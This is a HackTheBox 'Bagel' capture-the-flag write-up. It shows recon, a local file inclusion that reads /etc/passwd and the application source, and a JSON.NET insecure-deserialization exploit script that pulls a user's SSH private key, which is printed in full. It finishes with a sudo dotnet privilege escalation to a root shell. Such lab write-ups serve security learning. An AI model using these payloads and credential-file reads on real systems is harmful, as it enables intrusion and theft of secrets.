HackTheBox - Bagel Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 10.10.11.201
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-03 16:55 CET
Nmap scan report for 10.10.11.201
Host is up (0.029s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 03 Mar 2023 15:55:26 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Fri, 03 Mar 2023 15:55:41 GMT
| Connection: close
| Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 03 Mar 2023 15:55:51 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 03 Mar 2023 15:55:26 GMT
| Content-Length: 54
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (version).)</h1>
| SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Fri, 03 Mar 2023 15:55:52 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 03 Mar 2023 15:55:26 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Fri, 03 Mar 2023 15:55:21 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.25 seconds
As we can see, we need to add the following line on our /ect/hosts
to visit the webserver:
10.10.11.201 bagel.htb
LFI #
Let’s see the website:
We can try to trigger LFI in the page
parameter:
Here is the content of the /etc/passwd
:
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
tss❌59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network❌192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom❌999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd❌998:997:User for polkitd:/:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt❌173:173::/etc/abrt:/sbin/nologin
setroubleshoot❌997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws❌996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance❌995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony❌994:992::/var/lib/chrony:/sbin/nologin
dnsmasq❌993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
systemd-coredump❌989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync❌988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer❌1000:1000::/home/developer:/bin/bash
phil❌1001:1001::/home/phil:/bin/bash
_laurel❌987:987::/var/log/laurel:/bin/false
Let’s try to download /prof/self/cmdline
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../proc/self/cmdline --output cmdline
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 35 100 35 0 0 626 0 --:--:-- --:--:-- --:--:-- 636
/proc/self/cmdline
corresponds to the cmdline ran for the current process.
Here is the content of the file:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ cat cmdline
python3/home/developer/app/app.py
We know that the source code is in /home/developer/app/app.py
. Let’s see it:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../home/developer/app/app.py --output app.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1235 100 1235 0 0 21794 0 --:--:-- --:--:-- --:--:-- 22053
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ cat app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
The comment on the route named /orders
let us know that the developer has run the dotnet <path to .dll>
command. So, if we find the pid
of this executable we can find his path with the cmdline stored on /proc/<pid>/cmdline
.
Let’s make a small python script that will bruteforce pid and print the response if it’s different of File not found
:
import requests
for i in range(1000):
url = "http://bagel.htb:8000/?page=../../../../proc/" + str(i) + "/cmdline"
r = requests.get(url)
response = r.text
if response != "File not found" and response != "":
print(response)
Here is the result:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ python3 bruteforce_pid.py
/usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
/usr/lib/systemd/systemd-journald
/usr/lib/systemd/systemd-udevd
/usr/lib/systemd/systemd-oomd
/usr/lib/systemd/systemd-resolved
/sbin/auditd
/sbin/auditd
/usr/lib/systemd/systemd-userdbd
/usr/sbin/sedispatch
/usr/local/sbin/laurel--config/etc/laurel/config.toml
/sbin/auditd
/usr/sbin/NetworkManager--no-daemon
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
python3/home/developer/app/app.py
/usr/sbin/irqbalance--foreground
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/rsyslogd-n
/usr/lib/systemd/systemd-logind
/usr/sbin/irqbalance--foreground
/usr/bin/VGAuthService-s
/usr/bin/vmtoolsd
/usr/sbin/abrtd-d-s
/usr/bin/dbus-broker-launch--scopesystem--audit
/usr/sbin/rsyslogd-n
/usr/sbin/chronyd-F2
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/rsyslogd-n
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/NetworkManager--no-daemon
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/abrtd-d-s
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/NetworkManager--no-daemon
/usr/sbin/abrtd-d-s
/usr/bin/abrt-dump-journal-core-D-T-f-e
/usr/bin/abrt-dump-journal-oops-fxtD
/usr/bin/abrt-dump-journal-xorg-fxtD
/usr/bin/vmtoolsd
/usr/bin/vmtoolsd
sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
/usr/bin/vmtoolsd
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/ModemManager
We know that the dll
is at this path:
/opt/bagel/bin/Debug/net6.0/bagel.dll
We can download it:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ curl http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll --output bagel.dll
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10752 100 10752 0 0 193k 0 --:--:-- --:--:-- --:--:-- 194k
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ file bagel.dll
bagel.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Foothold #
Disassembly #
Let’s use dnSpy
who is a debugger and .NET
assembly editor.
We can see is the function DB_connection
that there is somes creds:
But we can’t ssh with them because only the authentication with a key is allowed.
So, let’s look further at the .NET
code. We can see that there is a Bagel
class in the namespace bagel_server
:
Insecure deserialization #
In this class, there is a function named MessageReceived
who deserialize json
. It seems that the input from the client is deserialized. Maybe there is an insecure deserialization ?
// Token: 0x0600000B RID: 11 RVA: 0x000021A8 File Offset: 0x000003A8
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
bool flag = args.Data != null && args.Data.Count > 0;
if (flag)
{
json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}
Let’s see the Deserialize
function in the Handler
class:
By googling JsonConvert.DeserializeObject
we know that this function comes from the JSON.NET
library.
With some researches, we know that the implementation of JsonConvert.DeserializeObject
is vulnerable here.
Indeed, according to https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15:
By default
TypeNameHandling
is set toNone
. When this configuration is set to anything other thanNone
a new property is written to the output when serializing. The$type
property. This property contains information about the type that was serialized. When the object is deserialized the type property is used to deserialize the object to the expected type. Another requirement for this to work is that the json is deserialized to a derived type of our exploit type or to the genericobject
type. Not all objects can get deserialized with JSON .NET. The object needs to have either a empty constructor or one constructor with parameters. Writable properties can also be written to when deserializing an object.
So, we can deserialize the RemoveOrder
object because he has an empty constructor:
// bagel_server.Orders
// Token: 0x17000004 RID: 4
// (get) Token: 0x06000014 RID: 20 RVA: 0x000022FF File Offset: 0x000004FF
// (set) Token: 0x06000015 RID: 21 RVA: 0x00002307 File Offset: 0x00000507
public object RemoveOrder { get; set; }
Then, we can see that bagel.dll
has a File
class. This class implements a string ReadFile
, the value of this string is a path
. It is passed in the ReadContent
function that will read the content a the given path
:
Remember, in the app.py
a comment said that we can connect to the host with a ssh
key.
So, if we send the following payload, it will print the ssh
key of phil
:
{
"RemoveOrder":
{
"$type":"bagel_server.File, bagel",
"ReadFile":"../../../../../../home/phil/.ssh/id_rsa"
}
}
Here is the python
script that will send the payload and print the output:
import websocket, json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/")
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)
And we got the ssh
key:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ python3 exploit_deserialize.py
{
"UserId": 0,
"Session": "Unauthorized",
"Time": "8:39:29",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
We can connect to the server:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ echo "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----" > phil_rsa
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/bagel]
└─$ ssh -i phil_rsa phil@bagel.htb
Last login: Sat Mar 4 20:36:29 2023 from 10.10.14.116
[phil@bagel ~]$
PrivEsc #
Now, we can remember that we obtained a password on the DB_connection
function. We tried to use sudo -l
with phil
but the password is incorrect. Let’s try with developer
:
[phil@bagel tmp]$ su developer
Password:
[developer@bagel tmp]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
It works ! So we can run /usr/bin/dotnet
as sudo
.
Let’s see on
https://gtfobins.github.io/gtfobins/dotnet/ if we can privesc with dotnet
:
And we finally got a root shell !
[developer@bagel tmp]$ sudo /usr/bin/dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023